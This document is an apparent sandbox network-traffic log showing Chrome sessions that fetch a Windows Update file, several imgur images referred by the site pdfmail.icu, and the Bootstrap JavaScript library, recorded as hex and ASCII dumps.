2024-09-24 04:29:45 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=R4xbWys1RkYW+xk&MD=DXyzA69e HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-09-24 04:29:45 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 9c6cc37f-f5ad-4a98-819f-4dc90d39cf1f MS-RequestId: 0cdeae0e-d57a-4bf5-a5a4-52af124b9b9b MS-CV: sJE2PahFW0q0xKYC.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 24 Sep 2024 04:29:44 GMT Connection: close Content-Length: 24490
2024-09-24 04:29:45 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-09-24 04:29:45 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49726	199.232.196.193	443	5600	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-24 04:29:45 UTC	577	OUT	GET /HTxGcIM.png HTTP/1.1 Host: i.imgur.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pdfmail.icu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-24 04:29:46 UTC	760	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1497 Content-Type: image/png Last-Modified: Fri, 16 Aug 2024 23:30:39 GMT ETag: "7ddbd574e19a6b2cdd30a9600d652eac" x-amz-server-side-encryption: AES256 X-Amz-Cf-Pop: IAD55-P7 X-Amz-Cf-Id: _kT0RWmvlKoVtfr5t61ABAagJHR2YwemlE7DiBETP9KnT0R_YzL62A== cache-control: public, max-age=31536000 Accept-Ranges: bytes Age: 325531 Date: Tue, 24 Sep 2024 04:29:45 GMT X-Served-By: cache-iad-kcgs7200126-IAD, cache-ewr-kewr1740061-EWR X-Cache: Miss from cloudfront, HIT, MISS X-Cache-Hits: 11, 0 X-Timer: S1727152186.966704,VS0,VE8 Strict-Transport-Security: max-age=300 Access-Control-Allow-Methods: GET, OPTIONS Access-Control-Allow-Origin: * Server: cat factory 1.0 X-Content-Type-Options: nosniff
2024-09-24 04:29:46 UTC	1371	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2a 00 00 00 27 08 02 00 00 00 37 b1 92 12 00 00 05 a0 49 44 41 54 78 9c ec 9c d1 6b db 46 18 c0 6f a3 cf 79 1a 39 2d 8b a0 2f 1d 65 6b 24 b3 b0 c1 4a 36 da 80 12 77 65 af 69 bc da 75 07 4b 96 97 11 82 a3 98 41 d3 d2 66 30 52 c7 64 65 30 b2 66 a3 71 ed d5 69 d8 db 60 73 6c e8 92 b5 33 f4 21 60 3b 6b 09 e4 61 03 65 de 9d a1 2f d9 3f 30 a4 4b 85 eb d9 b2 23 cb 3e db f9 7e f4 c1 be 9c 7c 57 49 3f 7f 77 df 9d 7c ec ad 77 de 45 00 00 f0 e0 65 de 1d 00 80 a3 0b e8 07 00 dc 00 fd 00 80 1b a0 1f 00 70 03 f4 03 00 6e 80 7e 00 c0 0d d0 0f 00 b8 01 fa 01 00 37 40 3f 00 a8 17 01 e3 78 34 62 e3 c0 63 16 7f fb e7 6f ad 8e 2e 1d f0 ea 6b 62 fd 1f d2 79 38 72 6e eb a4 33 2e 8d 80 b1 7b 58 a9 bd 3e 21 34 93 cd 11 4a Data Ascii: PNGIHDR*'7IDATxkFoy9-/ek$J6weiuKAf0Rde0fqi`sl3!`;kae/?0K#>~\|WI?w\|wEepn~7@?x4bco.kby8rn3.{X>!4J
2024-09-24 04:29:46 UTC	126	IN	Data Raw: ea 74 c9 d2 a1 1e 7a a8 45 8c 1a 11 04 3d f0 b2 9d df ac 24 91 4c d5 be d3 ad b9 d1 0f 78 0e 44 bf 0e c3 25 4b 87 7a d4 88 61 a5 1f 00 00 0d 05 7e 6c 02 00 b8 01 fa 01 00 37 40 3f 00 e0 06 e8 07 00 dc 00 fd 00 80 1b a0 1f 00 70 03 f4 03 00 6e 80 7e 00 c0 0d d0 0f 00 b8 01 fa 01 00 37 40 3f 00 e0 c6 7f 01 00 00 ff ff e3 86 95 db ed 1c 8d df 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: tzE=$LxD%Kza~l7@?pn~7@?IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49727	199.232.196.193	443	5600	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-24 04:29:46 UTC	346	OUT	GET /6Ke8DF2.png HTTP/1.1 Host: i.imgur.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-24 04:29:46 UTC	757	IN	HTTP/1.1 200 OK Connection: close Content-Length: 135 Content-Type: image/png Last-Modified: Fri, 16 Aug 2024 23:29:55 GMT ETag: "7e67c43eee5cee7a630a76589108da68" x-amz-server-side-encryption: AES256 X-Amz-Cf-Pop: IAD12-P2 X-Amz-Cf-Id: rjO2Lpmy3C5zBLadNlloF8GTd-OpXLw6u-S3iWEZ5szsHU1vPxrgxQ== cache-control: public, max-age=31536000 Accept-Ranges: bytes Date: Tue, 24 Sep 2024 04:29:46 GMT Age: 900141 X-Served-By: cache-iad-kcgs7200129-IAD, cache-ewr-kewr1740077-EWR X-Cache: Miss from cloudfront, HIT, HIT X-Cache-Hits: 8, 1 X-Timer: S1727152186.117524,VS0,VE1 Strict-Transport-Security: max-age=300 Access-Control-Allow-Methods: GET, OPTIONS Access-Control-Allow-Origin: * Server: cat factory 1.0 X-Content-Type-Options: nosniff
2024-09-24 04:29:46 UTC	135	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 1d 08 02 00 00 00 57 2b b9 24 00 00 00 4e 49 44 41 54 78 9c 62 31 32 b3 64 18 08 c0 34 20 b6 8e 5a 3c 6a f1 b0 b4 98 85 18 45 fb 77 ef 20 c9 50 47 57 0f 82 6a 06 cc c7 8c a3 25 17 bd c0 68 e2 a2 1b 18 4d 5c 58 c1 68 e2 a2 06 18 79 89 6b d4 e2 51 8b 87 9f c5 80 00 00 00 ff ff 3e fd 0b c4 2a 37 f4 66 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR(W+$NIDATxb12d4 Z<jEw PGWj%hM\XhykQ>*7fIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	49728	199.232.196.193	443	5600	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-24 04:29:46 UTC	577	OUT	GET /N24FdEJ.png HTTP/1.1 Host: i.imgur.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pdfmail.icu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-24 04:29:46 UTC	758	IN	HTTP/1.1 200 OK Connection: close Content-Length: 637 Content-Type: image/png Last-Modified: Fri, 16 Aug 2024 23:31:06 GMT ETag: "72c5faffe174f535b937fbeb3821e899" x-amz-server-side-encryption: AES256 X-Amz-Cf-Pop: MIA50-P3 X-Amz-Cf-Id: S3tKy2lw6CHDY1gL9uXb53OJqPWZmnZGphDoLdrsMK75vxTZfoBv-w== cache-control: public, max-age=31536000 Accept-Ranges: bytes Age: 558665 Date: Tue, 24 Sep 2024 04:29:46 GMT X-Served-By: cache-iad-kcgs7200038-IAD, cache-ewr-kewr1740069-EWR X-Cache: Miss from cloudfront, HIT, HIT X-Cache-Hits: 17, 0 X-Timer: S1727152186.190551,VS0,VE1 Strict-Transport-Security: max-age=300 Access-Control-Allow-Methods: GET, OPTIONS Access-Control-Allow-Origin: * Server: cat factory 1.0 X-Content-Type-Options: nosniff
2024-09-24 04:29:46 UTC	637	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 66 00 00 00 1c 08 02 00 00 00 1c 04 5d 92 00 00 02 44 49 44 41 54 78 9c ec 99 31 6e db 30 14 40 99 36 a3 33 93 45 d1 c9 9e 29 a1 43 81 26 59 29 eb 0a 01 64 cb 63 8b 4e 85 93 fa 0c 71 1c f8 0a 91 2d 20 57 68 ea b5 4d 56 89 73 db 99 dc ab bd 10 58 08 aa ed 10 24 4c 4a 36 c0 37 25 32 65 7d bf ff f9 45 89 c7 6f df bd 07 0e 1d 5e b4 1d c0 e1 e1 94 69 e3 94 69 e3 94 69 a3 aa cc f7 30 82 d0 72 30 87 81 92 32 04 e1 7c 36 bd 4f 13 67 0d 00 70 ac 32 08 21 58 fd c1 38 b7 1c 12 18 0d 23 c9 a7 77 8b d4 76 00 72 94 94 35 4c 3c 68 5f 59 18 10 00 40 96 d3 cd 12 d9 47 65 ad 33 1a 46 22 6d c9 32 dd cc d0 3e 2a 63 cc fa dc df 85 fd 52 86 20 f4 3d 9c 2c 65 53 2f 0c c8 d7 6f 2b ab 61 88 ca 62 8c 6f bd 90 4c 99 58 58 64 Data Ascii: PNGIHDRf]DIDATx1n0@63E)C&Y)dcNq- WhMVsX$LJ67%2e}Eo^iii0r02\|6Ogp2!X8#wvr5L<h_Y@Ge3F"m2>*cR =,eS/o+aboLXXd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.9	49729	104.18.10.207	443	5600	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-24 04:29:46 UTC	556	OUT	GET /bootstrap/4.5.2/js/bootstrap.min.js HTTP/1.1 Host: stackpath.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://pdfmail.icu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-24 04:29:46 UTC	917	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 04:29:46 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: DE Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"02d223393e00c273efdcb1ade8f4f8b1" Last-Modified: Mon, 25 Jan 2021 22:04:11 GMT CDN-CachedAt: 08/20/2022 02:35:31 CDN-ProxyVer: 1.02 CDN-RequestPullCode: 200 CDN-RequestPullSuccess: True CDN-EdgeStorageId: 864 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestId: a6bc14db3a88cabcd6b3bc56a77879ef CDN-Cache: HIT CF-Cache-Status: HIT Age: 16804025 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8c80090bbca40f8c-EWR
2024-09-24 04:29:46 UTC	452	IN	Data Raw: 37 63 30 63 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 35 2e 32 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 30 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 69 6e 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c Data Ascii: 7c0c/! Bootstrap v4.5.2 (https://getbootstrap.com/) * Copyright 2011-2020 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) */!function(t,
2024-09-24 04:29:46 UTC	1369	IN	Data Raw: 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 7c 7c 73 65 6c 66 29 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 28 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 Data Ascii: fined"!=typeof globalThis?globalThis:t\|\|self).bootstrap={},t.jQuery,t.Popper)}(this,(function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.de
2024-09-24 04:29:46 UTC	1369	IN	Data Raw: 22 29 5b 30 5d 2c 31 65 33 2a 28 70 61 72 73 65 46 6c 6f 61 74 28 6e 29 2b 70 61 72 73 65 46 6c 6f 61 74 28 69 29 29 29 3a 30 7d 2c 72 65 66 6c 6f 77 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 6f 66 66 73 65 74 48 65 69 67 68 74 7d 2c 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 65 28 74 29 2e 74 72 69 67 67 65 72 28 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e Data Ascii: ")[0],1e3*(parseFloat(n)+parseFloat(i))):0},reflow:function(t){return t.offsetHeight},triggerTransitionEnd:function(t){e(t).trigger("transitionend")},supportsTransitionEnd:function(){return Boolean("transitionend")},isElement:function(t){return(t[0]\|\|t).n
2024-09-24 04:29:46 UTC	1369	IN	Data Raw: 64 22 2c 64 65 6c 65 67 61 74 65 54 79 70 65 3a 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 2c 68 61 6e 64 6c 65 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 65 28 74 2e 74 61 72 67 65 74 29 2e 69 73 28 74 68 69 73 29 29 72 65 74 75 72 6e 20 74 2e 68 61 6e 64 6c 65 4f 62 6a 2e 68 61 6e 64 6c 65 72 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 3b 76 61 72 20 6c 3d 22 61 6c 65 72 74 22 2c 63 3d 65 2e 66 6e 5b 6c 5d 2c 68 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 6e 3d 74 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 6e 2e 63 6c 6f 73 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 5f 65 6c 65 6d 65 Data Ascii: d",delegateType:"transitionend",handle:function(t){if(e(t.target).is(this))return t.handleObj.handler.apply(this,arguments)}};var l="alert",c=e.fn[l],h=function(){function t(t){this._element=t}var n=t.prototype;return n.close=function(t){var e=this._eleme
2024-09-24 04:29:46 UTC	1369	IN	Data Raw: 70 69 22 2c 27 5b 64 61 74 61 2d 64 69 73 6d 69 73 73 3d 22 61 6c 65 72 74 22 5d 27 2c 68 2e 5f 68 61 6e 64 6c 65 44 69 73 6d 69 73 73 28 6e 65 77 20 68 29 29 2c 65 2e 66 6e 5b 6c 5d 3d 68 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 65 2e 66 6e 5b 6c 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 68 2c 65 2e 66 6e 5b 6c 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 2e 66 6e 5b 6c 5d 3d 63 2c 68 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 3b 76 61 72 20 75 3d 65 2e 66 6e 2e 62 75 74 74 6f 6e 2c 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 6e 3d 74 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e Data Ascii: pi",'[data-dismiss="alert"]',h._handleDismiss(new h)),e.fn[l]=h._jQueryInterface,e.fn[l].Constructor=h,e.fn[l].noConflict=function(){return e.fn[l]=c,h._jQueryInterface};var u=e.fn.button,d=function(){function t(t){this._element=t}var n=t.prototype;return
2024-09-24 04:29:46 UTC	1369	IN	Data Raw: 65 28 6e 29 2e 63 6c 6f 73 65 73 74 28 22 2e 62 74 6e 22 29 5b 30 5d 29 2c 21 6e 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 65 6c 73 65 7b 76 61 72 20 6f 3d 6e 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 27 69 6e 70 75 74 3a 6e 6f 74 28 5b 74 79 70 65 3d 22 68 69 64 64 65 6e 22 5d 29 27 29 3b 69 66 28 6f 26 26 28 6f 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6f 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 29 72 65 74 75 72 6e 20 76 6f 69 64 20 74 2e 70 72 65 76 65 6e Data Ascii: e(n).closest(".btn")[0]),!n\|\|n.hasAttribute("disabled")\|\|n.classList.contains("disabled"))t.preventDefault();else{var o=n.querySelector('input:not([type="hidden"])');if(o&&(o.hasAttribute("disabled")\|\|o.classList.contains("disabled")))return void t.preven
2024-09-24 04:29:46 UTC	1369	IN	Data Raw: 6c 65 61 6e 7c 73 74 72 69 6e 67 29 22 2c 70 61 75 73 65 3a 22 28 73 74 72 69 6e 67 7c 62 6f 6f 6c 65 61 6e 29 22 2c 77 72 61 70 3a 22 62 6f 6f 6c 65 61 6e 22 2c 74 6f 75 63 68 3a 22 62 6f 6f 6c 65 61 6e 22 7d 2c 76 3d 7b 54 4f 55 43 48 3a 22 74 6f 75 63 68 22 2c 50 45 4e 3a 22 70 65 6e 22 7d 2c 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 2c 65 29 7b 74 68 69 73 2e 5f 69 74 65 6d 73 3d 6e 75 6c 6c 2c 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 6e 75 6c 6c 2c 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 6e 75 6c 6c 2c 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 3d 21 31 2c 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 3d 21 31 2c 74 68 69 73 2e 74 6f 75 63 68 54 69 6d 65 6f 75 74 3d 6e 75 6c 6c 2c 74 68 69 73 2e Data Ascii: lean\|string)",pause:"(string\|boolean)",wrap:"boolean",touch:"boolean"},v={TOUCH:"touch",PEN:"pen"},b=function(){function t(t,e){this._items=null,this._interval=null,this._activeElement=null,this._isPaused=!1,this._isSliding=!1,this.touchTimeout=null,this.
2024-09-24 04:29:46 UTC	1369	IN	Data Raw: 29 7d 2c 6e 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 61 63 74 69 76 65 2e 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 22 29 3b 76 61 72 20 69 3d 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 29 3b 69 66 28 21 28 74 3e 74 68 69 73 2e 5f 69 74 65 6d 73 2e 6c 65 6e 67 74 68 2d 31 7c 7c 74 3c 30 29 29 69 66 28 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 29 65 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 65 28 22 73 6c 69 64 2e 62 73 2e 63 61 72 6f 75 73 65 6c 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b Data Ascii: )},n.to=function(t){var n=this;this._activeElement=this._element.querySelector(".active.carousel-item");var i=this._getItemIndex(this._activeElement);if(!(t>this._items.length-1\|\|t<0))if(this._isSliding)e(this._element).one("slid.bs.carousel",(function(){
2024-09-24 04:29:46 UTC	1369	IN	Data Raw: 6f 55 70 70 65 72 43 61 73 65 28 29 5d 3f 74 2e 74 6f 75 63 68 53 74 61 72 74 58 3d 65 2e 6f 72 69 67 69 6e 61 6c 45 76 65 6e 74 2e 63 6c 69 65 6e 74 58 3a 74 2e 5f 70 6f 69 6e 74 65 72 45 76 65 6e 74 7c 7c 28 74 2e 74 6f 75 63 68 53 74 61 72 74 58 3d 65 2e 6f 72 69 67 69 6e 61 6c 45 76 65 6e 74 2e 74 6f 75 63 68 65 73 5b 30 5d 2e 63 6c 69 65 6e 74 58 29 7d 2c 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 2e 5f 70 6f 69 6e 74 65 72 45 76 65 6e 74 26 26 76 5b 65 2e 6f 72 69 67 69 6e 61 6c 45 76 65 6e 74 2e 70 6f 69 6e 74 65 72 54 79 70 65 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 5d 26 26 28 74 2e 74 6f 75 63 68 44 65 6c 74 61 58 3d 65 2e 6f 72 69 67 69 6e 61 6c 45 76 65 6e 74 2e 63 6c 69 65 6e 74 58 2d 74 2e 74 6f 75 63 68 53 74 61 72 74 58 29 2c 74 2e 5f Data Ascii: oUpperCase()]?t.touchStartX=e.originalEvent.clientX:t._pointerEvent\|\|(t.touchStartX=e.originalEvent.touches[0].clientX)},i=function(e){t._pointerEvent&&v[e.originalEvent.pointerType.toUpperCase()]&&(t.touchDeltaX=e.originalEvent.clientX-t.touchStartX),t._
